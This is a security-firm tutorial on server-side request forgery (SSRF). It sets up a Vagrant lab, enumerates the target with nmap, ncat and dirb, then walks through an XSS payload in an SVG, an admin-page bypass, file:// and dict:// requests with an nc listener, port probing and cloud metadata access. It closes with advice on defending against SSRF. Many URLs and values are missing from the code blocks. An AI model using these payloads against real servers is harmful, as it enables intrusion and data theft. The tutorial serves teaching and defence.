Blacksmith. Photo by Hannah Gibbs on Unsplash:

Understanding SSRF

Attacking a web server using SSRF

By Jonathan Armas | May 06, 2020

Many web applications request outside services for data, configurations, updates, among others. This is beneficial for the developers and maintainers because it keeps separation of duties in their infrastructure, one for managing the view and another for the data. When it is done right, these applications are easier to maintain and to add features to, but there are some intrinsic risks in getting information through the internet using web services.

Server Side Request Forgery, SSRF, occurs when an attacker can create requests from the vulnerable server to the internet/intranet. Typically, the vulnerable server has a functionality that reads data from a URL, publishes data to a URL, or imports data from a URL. An attacker could abuse this functionality to read or update internal resources, or bypass access controls like firewalls that prevent the attackers from accessing them directly.

In a normal use case, the vulnerable application works like this:

Figure 1. normal use case
  1. The user requests information from an external server through the Web Server. For example, GET /?url=http://external.server/data HTTP/1.1

  2. The server makes the request to the external server

  3. If the request is to an intranet server, then it passes through the company firewall

  4. The external server responds with the data requested, and the user receives it

When an attacker finds this, and he wants to bypass the firewall in order to get internal resources, then the process of the attack is the following:

Figure 2. ssrf attack
  1. The attacker makes the same request but modifies the payload for a request to another internal server, for example, GET /?url=http://admin.server/users HTTP/1.1

  2. The server makes the request to the modified server

  3. The request passes through the company firewall bypassing its measures

  4. The admin server responds with the data requested by the attacker

SSRF lab

To set up our lab, we are going to use Hashicorp’s Vagrant; the source files are below. Create a folder with the name ssrf and save the Vagrantfile there.

setting up the lab
$ mkdir ssrf
$ cd ssrf
ssrf$ nano Vagrantfile #Add the content here
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config| = "jarmasatfluid/ssrftest"
  config.vm.box_version = "1" "private_network", ip: ""


Then run the environment using:

vagrant up
ssrf$ vagrant up

This will create a Linux machine with LAMP installed and configured. At this point, everything we need has been completed and is ready for us to launch an attack.

Now we can set up our attacking machine. Here we are using Kali Linux with Vagrant too, but you can use whatever OS you prefer.

These are the tools that we are going to use:

If you are using Kali, then everything has already been installed by default.

We are ready to go.

Enumerating our server

First, we need to check the server ports. We can use nmap or ncat to do it.

port scanning
$ nmap
$ ncat -vz 80
$ ncat -vz 3306
nmap output
Starting Nmap 7.80 ( ) at 2020-05-05 13:32 SA Pacific Standard Time
Nmap scan report for
Host is up (0.00051s latency).
Not shown: 997 closed ports
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.19 seconds
Ncat: Connected to
Ncat: 0 bytes sent, 0 bytes received in 0.31 seconds.
Ncat: No connection could be made because the target machine actively refused it. .

Our server runs Apache on port 80 and MySQL on port 3306, but we do not have access to it.

Then using Dirbuster, we can search for directories on the web server.

$ dirb

DIRB v2.22
By The Dark Raver

START_TIME: Tue May  5 13:30:46 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


 Scanning URL:
+ (CODE:200|SIZE:11321)
+ (CODE:403|SIZE:277)

 Entering directory:
+ (CODE:302|SIZE:2160)
+ (CODE:200|SIZE:1148)

END_TIME: Tue May  5 13:30:53 2020

As we can see, there is an admin site to which we do not have access, and a normal site to search for products.

SSRF attacks

Given that we have access to the search products site, then we can make a request and intercept it:

products request
POST /code/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Connection: close
Cookie: PHPSESSID=6tp090rfsdurfgg5hlfrgr7v97
Upgrade-Insecure-Requests: 1


There we can see that it makes a request with a URL to retrieve the data. So, what happens when we modify the URL? Let’s change it to

simple SSRF

Then it will load the OWASP web page on our site:

Figure 3. ssrf vulnerable

Now we have several options to work with.

Reflected XSS

Let’s create an SVG image in our kali machine with an XSS payload and then serve it on a local Python server:

local xss
$ nano payload.svg # Put the content here
$ python -m SimpleHTTPServer
Serving HTTP on port 8000 ...
payload.svg content
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">
<svg version="1.1" baseProfile="full" xmlns="">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#FF3435" stroke="#FF3435"/>
<script type="text/javascript">

Then simply put your URL into the request and watch the result:

SSRF to XSS payload
Figure 4. SSRF to XSS result
Bypassing controls

As we saw earlier, we could not access the admin section of the server; this can be bypassed with this vulnerability:

SSRF to admin payload
Figure 5. SSRF to admin result

If the server had some local HTTP servers like a mongodb database, we could bypass the access controls with this vulnerability.

Information disclosure

We can use file:// to get internal files:

file usage
<div class="row d-flex justify-content-center">

We can also use the dict:// URL schema to connect to a server and send data:

dict usage
$nc -lvp 8000
# Payload
Ncat: Connection from IP:PORT.
CLIENT libcurl 7.47.0

This is useful when we find another vulnerable server or service, because we can send data to it and maybe even execute commands.

Port enumeration

.port enum

# Port open
<div class="row d-flex justify-content-center">
# Port closed
<div class="row d-flex justify-content-center">
Cloud goodies

If the target uses Amazon EC2 or Google Cloud, then you can request metadata from them:

cloud SSRF
# Amazon
# Google Cloud

Because the server uses cURL, there are some URL schemas that this library does not support, like ssh22, expect, among others. For more information and payloads, you can go here or check this paper from OWASP.


The first level of protection against this attack is to implement input validation. It could be in the form of validating the domain name of the target host using a whitelist. With this, if the attacker tries to access more resources, it will be impossible for him.

Besides, if it is possible, avoid querying URLs using user input. Even if they are hidden fields, an attacker can modify them and exploit a SSRF vulnerability. It is better to request resources directly on the web server whenever it is possible.

Another way to do this is to prevent the web application to access only the resources that it will need by segregating the network. This will prevent access to other resources in the network, but it does not work against local access.

If you want more information about protections against SSRF, you can check OWASP or our rules.

Copyright © 2020 Fluid Attacks, We hack your software. All rights reserved.

Service status - Terms of Use - Privacy Policy - Cookie Policy